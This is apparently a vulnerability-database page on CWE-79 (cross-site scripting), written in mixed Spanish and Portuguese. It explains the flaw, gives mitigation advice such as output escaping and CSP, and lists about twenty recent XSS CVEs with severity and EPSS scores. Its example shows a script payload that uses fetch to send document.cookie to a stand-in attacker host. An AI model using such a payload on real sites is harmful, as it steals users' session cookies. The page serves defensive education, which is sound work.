Fallos del tipo CWE-79

30.356 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-48838HIGHWordPress Post SMTP plugin <= 3.6.2 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-10567MEDIUM1Panel-dev CordysCRM ModuleFormController ModuleFormService.java save cross site scriptingEPSS 0.2%CVE-2025-9858MEDIUMAuto Bulb Finder for WordPress <= 2.8.0 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.2%CVE-2025-10190MEDIUMWP Easy Toggles <= 1.9.0 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.2%CVE-2026-91942MEDIUMcrawl4ai before 0.9.3 Cross-Site Scripting via innerHTMLEPSS 0.2%CVE-2019-25390MEDIUMSmoothwall Express 3.1 'interfaces.cgi' Cross-Site ScriptingEPSS 0.2%CVE-2025-64174MEDIUMOpenMage is vulnerable to XSS in Admin NotificationsEPSS 0.2%CVE-2025-8691MEDIUMWP Scriptcase <= 2.0.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via url ParameterEPSS 0.2%CVE-2025-8398MEDIUMazurecurve BBCode <= 2.0.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via url ShortcodeEPSS 0.2%CVE-2026-39447HIGHWordPress Simply Schedule Appointments plugin <= 1.6.10.6 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-8777MEDIUMplanetcalc <= 2.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via language ParameterEPSS 0.2%CVE-2025-31011HIGHWordPress SimplyRETS Real Estate IDX plugin <= 3.2.2 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-10196MEDIUMSurveyAnyplace Plugin <= 1.0.0 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.2%CVE-2025-8623MEDIUMWeedMaps Menu for WordPress <= 1.2.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via weedmaps_menu ShortcodeEPSS 0.2%CVE-2024-48036MEDIUMWordPress SKT Blocks plugin <= 1.6 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-82796MEDIUMSolarView Compact contains a cross-site scripting vulnerability in Image Management. If this vulnerability is exploited, an arbitrary OS comEPSS 0.2%CVE-2026-0608MEDIUMHead Meta Data <= 20251118 - Authenticated (Contributor+) Stored Cross-Site Scripting via Post MetaEPSS 0.2%CVE-2026-0690MEDIUMFlatPM – Ad Manager, AdSense and Custom Code <= 3.2.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via Custom Post MetaEPSS 0.2%CVE-2026-82767MEDIUMCross-site scripting vulnerability exists in SGA1000. If this vulnerability is exploited, an arbitrary script may be executed on a logged-inEPSS 0.2%CVE-2024-35782MEDIUMWordPress Cowidgets – Elementor Addons plugin <= 1.1.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%